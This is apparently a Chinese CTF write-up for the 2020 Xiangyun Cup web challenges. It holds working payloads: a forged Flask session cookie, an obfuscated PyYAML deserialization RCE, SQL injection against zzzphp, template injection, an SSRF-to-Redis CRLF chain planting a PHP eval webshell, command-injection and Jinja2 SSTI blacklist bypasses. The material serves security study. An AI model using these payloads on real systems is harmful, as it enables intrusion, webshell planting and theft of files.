祥云杯2020 Web

/ 0评 / 0

profile system

yaml反序列化
可以在uploads下目录穿越得到源码 ./uploads/sandbox/../../../app.py
python 源码如下:

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])
if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

伪造cookie

ha1c9on@ha1c9ondeMacBook-Pro flask-session-cookie-manager-master % python3 flask_session_cookie_manager3.py encode -s 'Th1s_is_A_Sup333er_s1cret_k1yyyyy' -t '{"filename":"test.yaml","priviledge":"elite"}'
eyJmaWxlbmFtZSI6InRlc3QueWFtbCIsInByaXZpbGVkZ2UiOiJlbGl0ZSJ9.X7oWrQ.GEIuZtLFjbvXH1w34MdCDQbTZ9g

主要得绕正则
https://hackmd.io/@harrier/uiuctf20
原题。当时是通外网的。这里写文件就行
flag.yaml

!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x2f\x20\x3e\x20\x75\x70\x6c\x6f\x61\x64\x73\x2f\x66\x6c\x61\x67\x22\x29"]
#/readflag > ./uploads/flag

easyzzz

通过更新日志.txt确定 是zzzphp 1.8.0

image-20201123132912843

审计源码发现这里有注入点

GET : /form/index.php?module=getjson
POST:table=gbook&where[]=1=1 union select password from zzz_user&col=1

拿到管理员密码 md5 解下是fuzzy9inve 登陆后台编辑search.html
模板注入
{if:1)echo(cat /flag);//}{end if}


//可以有非预期 不需要登录后台直接拿文件

doyouknowssrf

原题一把梭,CRLF打Redis

http://eci-2ze5xfvuz0x3wcpba5st.cloudeci1.ichunqiu.com/?url=http://m09ic@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写shell进去 getshell

Command

view-source:http://eci-2ze5xfvuz0x3oijw67m3.cloudeci1.ichunqiu.com//?url=127.0.0|ca\t%09/etc/.find????/????.txt

用\和%09绕。找flag 发现在etc

flaskbot

报错可以读到部分源码


float(NAN)可以把比赛赢了

name处ssti
测了下,过滤了system eval import os popen flag 拼接下

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['ev'+'al']('__impo'+'rt__("o'+'s").po'+'pen("ls /").read()')}}


读文件

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file'](/super_secret_fl'+'ag.txt').read()


顺手读了源码

import math
import base64
import sys
app = Flask(__name__)
def safe(str): 
    black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
    for x in black_list:
        if x in str.lower():
            return "Damn you hacker! You will never"
    return str
        
def guessNum(num,name):
    l=0
    r=1000000000.0
    mid=(l+r)/2.0
    ret=""
    cnt=0
    while not abs(mid-num)&lt;0.00001:
        cnt=cnt+1
        mid=(l+r)/2.0
        if mid&gt;num:
            r=mid
            ret+="{0}:{1} is too large&lt;br/&gt;".format(cnt,mid)
        else:
            l=mid
            ret+="{0}:{1} is too small&lt;br/&gt;".format(cnt,mid)
        if cnt &gt; 50:
            break
    if cnt &lt; 50:
        ret+="{0}:{1} is close enough&lt;br/&gt;I win".format(cnt,mid)
    else :
        ret+="Wow! {0} win.".format(safe(name))
    return ret
    
@app.route('/',methods=['POST','GET'])
def Hello():
    if request.method == "POST":
        user = request.form['name']
        resp = make_response(render_template("guess.html",name=user))
        resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get('user')
        if user == None:
            return render_template("index.html")
        else:
            user=user.encode('utf-8')
            return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
    user=request.cookies.get('user')
    if user==None:
        return redirect(url_for("Hello"))
    user=user.encode('utf-8')
    name = base64.urlsafe_b64decode(user)
    num = float(request.form['num'])
    if(num&lt;0):
        return "Too Small"
    elif num&gt;1000000000.0:
        return "Too Large"
    else:
        return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
    return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
    f_handler=open('/var/log/app.log', 'w')
    sys.stderr=f_handler
    app.run(debug=True, host='0.0.0.0',port=8888)

gogogo

传文件。拿到cookie。cookie中有文件对应的签名
重置靶机。因为用的同一个签名。传完任意文件。替换cookie去访问show就行

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注